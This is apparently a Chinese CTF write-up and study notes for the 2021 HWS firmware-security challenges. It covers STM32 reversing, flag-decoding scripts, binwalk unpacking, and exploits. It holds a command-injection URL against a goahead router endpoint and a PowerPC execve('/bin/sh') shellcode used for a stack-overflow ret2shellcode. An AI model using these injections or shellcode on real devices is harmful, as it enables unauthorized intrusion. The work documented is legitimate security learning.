2021HWS固件学习

一、练习题

1.SMT32固件

(1)IDA分析

①选择架构

需要在加载界面选择架构,如图选择ARM小端序

image-20220119162036357

②设置选项

处理器选项设置对应

du

③选择固件加载地址

OK之后,进入填写加载地址的界面,修改如下

image-20220119162333850

这个对于SMT32这种类型的固件是一定的,需要自己去上网查询,Input file的loading address可以让我们输入其他值,就使得IDA不从头加载,而从我们输入的地址开始加载。

④寻找函数地址

A.查找中断处理函数

在最开头地址+4的地方保存的是中断处理函数,按d转换数据双击点进去即可

image-20220119162645572

B.识别函数

发现是奇数地址,那么在奇数地址-1的地方,按c,即可分析出一些函数

image-20220119162843385

其中0x08000100即为中断处理函数,相对于SMT32固件而言,该函数的第二次跳转地址上的首次跳转的最后跳转再跳转即为main函数地址

image-20220119163217387

image-20220119163231426

image-20220119163255655

image-20220119163337683

image-20220119163359036

(2)解密

image-20220119163634811

分析之后,即可找到对应的加密算法,按照上述逻辑恢复即可

1
2
3
4
5
6
7
8
9
10
11
12
13
a = [   
0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,
0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,
0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,
0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,
0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,
0x2E,0x64
]

flag = ""
for i in a:
flag += chr((i ^ 0x1E) + 3)
print(flag)

参考:HWS2021冬令营选拔赛 | Clang鱼塘 (blingblingxuanxuan.github.io)

(1)固件解包

1
binwalk -Me uImage

(2)当前目录搜索

该命令可在当前文件夹下搜索密码,一般这种路由器的密码都是从/etc/passwd中取得

1
grep -ri "etc/passwd"

image-20220119174406881

排除busybox和libc,那么先去goahead中找,直接拖进IDA32分析

goahead是一个嵌入式的Web服务器:https://www.embedthis.com/goahead/

①定位字符串

搜索字符串set_qos_cfg,这个常用,找到如下

image-20220119175251051

漏洞常常在goform接口下,简单查看一下,发现其中有一个set_cmd的引用

image-20220119175504033

进入函数,发现一个设置命令的函数bs_SetCmd

image-20220119175643376

②分析函数

参照上面的函数名称,继续搜索

image-20220119175815328

发现定位在libshare中,打开分析一下

image-20220119180323116

其中off_4F2CC的值为%s,即格式化为字符串输出给v21,那么很明显就是使用popen进行命令执行

image-20220119180607832

③URL访问

1
/goform/set_cmd?cmd=cat /home/goahead/flag.txt

这里就是调用goform的接口API进行测试即可获得flag

3.httpd

不太会

4.nodemcu

直接出

1
strings nodemcu.bin

image-20220120125706243

看来以后都先strings一把梭试试

5.easybios

(1)前置探索

按照命令提示启动,但是有时候可以,有时候又不可以,可能在等一下就可以?

image-20220120130559529给了提示

image-20220120130724621

尝试一下

image-20220120130702363

(2)IDA分析

使用binwalk解包

1
binwalk -Me easybios

然后IDA打开解包出来的二进制文件

image-20220120143603848

搜索一下Wrong字符串,没搜到,尝试用unicode格式搜索,即UTF-16LE格式,一个字符两个字节。

image-20220120144209024

然后加上00即可->57 00 72 00 6F 00 6E 00 67 00,找到两个

image-20220120144641985

image-20220120144707349

image-20220120144725574

很明显应该是下面那个,但是这个文件有点大,不好解析,再加上之前在解包的时候看到包含很多PE文件,所以这个程序应该也是在一个PE文件里,那么我们依据地址,找到对应的PE文件头尾

image-20220120150501890

(3)切割分析

①寻找头尾地址

依据地址找到以下头尾

image-20220120155301520

②使用Winhex进行切割

使用Winhex打开,然后找到头尾,使用alt+G搜索地址,选定头尾

image-20220120155739157

头部

image-20220120155816532

尾部

image-20220120155907991

选中选快,右键编辑->复制选块->至新文件,然后保存用IDA打开,照常使用全局搜索字符57 00 72 00 6F 00 6E 00 67 00找到对应的函数sub_31D6F,一番判断如下:

image-20220120154940674

然后顺着逻辑理清楚即可,或者尝试使用angr解题,以下exp参照lxonz师傅

2021HWS冬令营线上赛固件安全WriteUp|NOSEC安全讯息平台 - 白帽汇安全研究院

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def print_bytes_hex(data):
lin = ['%0x' % i for i in data]
print("".join(lin))

magic = 'OVMF_And_Easy_Bios'
demo = [0x46, 0x77, 0x74, 0xb0, 0x27, 0x8e, 0x8f, 0x5b, 0xe9, 0xd8, 0x46, 0x9c, 0x72, 0xe7, 0x2f, 0x5e]
v13 = [0]*514
for i in range(256):
v13[i] = i
v13[i+256] = ord(magic[i%18])

v2 = 0
v3 = 0
new_list = []
while v2!=256:
v4 = v13[v2]
v3 = (v13[v2 + 256] + v4 + v3) % 256
v5 = v13[v3]
v13[v3] = v4
v13[v2] = v5
v2+=1

v6 = 0
v7 = 0
v8 = 0

while v6 != 16:
v8 = v8 + 1
v9 = v13[v8]
v10 = (v9 + v7) % 256
v11 = v13[v10]
v13[v10] = v9
v7 = (v9 + v7) % 256
v13[v8] = v11
result = v13[(v11 + v13[v10]) % 256]
new_list.append(result)
#(v0 + v6) ^= result
v6 += 1
#print len(demo)
#print len(new_list)
flag_list = []
for i in range(16):
flag_list.append(new_list[i]^demo[i])
print(hex(new_list[i]^demo[i]))
print_bytes_hex(flag_list)
#flag{88baec0b5154f859b5851097bb567f5c}

6.PPPPPPC

(1)调试

powerpc大端架构

调试发现栈溢出,读入0x320,并且变量偏移在0x140,可覆盖$lr寄存器,控制程序流,保护都没开,就尝试ret2shellcode

image-20220120194956344

(2)泄露地址

使用题目给的qemu-ppc-static来运行会使得程序打印所有寄存器的值,远程也是这样的

image-20220120195324259

参照如下

image-20220120195537738

远程肯定也是qemu,地址不会改变,那么就可以获得栈地址,同时依据调试数据也能得到我们输入数据的相应的偏移

(3)寻找shellcode

直接去shell-storm | Shellcodes Database找对应的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"\x7c\x3f\x0b\x78"	/*mr	r31,r1*/
"\x7c\xa5\x2a\x79" /*xor. r5,r5,r5*/
"\x42\x40\xff\xf9" /*bdzl+ 10000454< main>*/
"\x7f\x08\x02\xa6" /*mflr r24*/
"\x3b\x18\x01\x34" /*addi r24,r24,308*/
"\x98\xb8\xfe\xfb" /*stb r5,-261(r24)*/
"\x38\x78\xfe\xf4" /*addi r3,r24,-268*/
"\x90\x61\xff\xf8" /*stw r3,-8(r1)*/
"\x38\x81\xff\xf8" /*addi r4,r1,-8*/
"\x90\xa1\xff\xfc" /*stw r5,-4(r1)*/
"\x3b\xc0\x01\x60" /*li r30,352*/
"\x7f\xc0\x2e\x70" /*srawi r0,r30,5*/
"\x44\xde\xad\xf2" /*.long 0x44deadf2*/
"/bin/shZ"; // the last byte becomes NULL

对应偏移找到即可

image-20220120200332572

覆盖LR寄存器为该地址完事

7.easymsg

没看懂

二、知识点

1.固件解包

(1)binwalk

常用的命令

1
2
binwalk -Me xxx.bin  #解包
binwalk -A xxx.bin #查看架构

有时候可以用mount挂载binwalk打不开的固件

1
mount ./rootfs.img test

2.固件加解密

(1)判断加密

有时候固件可能会被加密,可用binwalk的熵计算来判断,压缩或者加密的数据具有较高的熵值

1
binwalk -E xxx.bin

未加密的

image-20220121185003706

加密的

image-20220121185022780

(2)解密常见方法

逆向,自己寻找等等

3.固件寻找

网上,官网啥的,或者硬件提取,反正到时候再看一遍把,服务器,吾爱破解…

观察以下

image-20220121185648863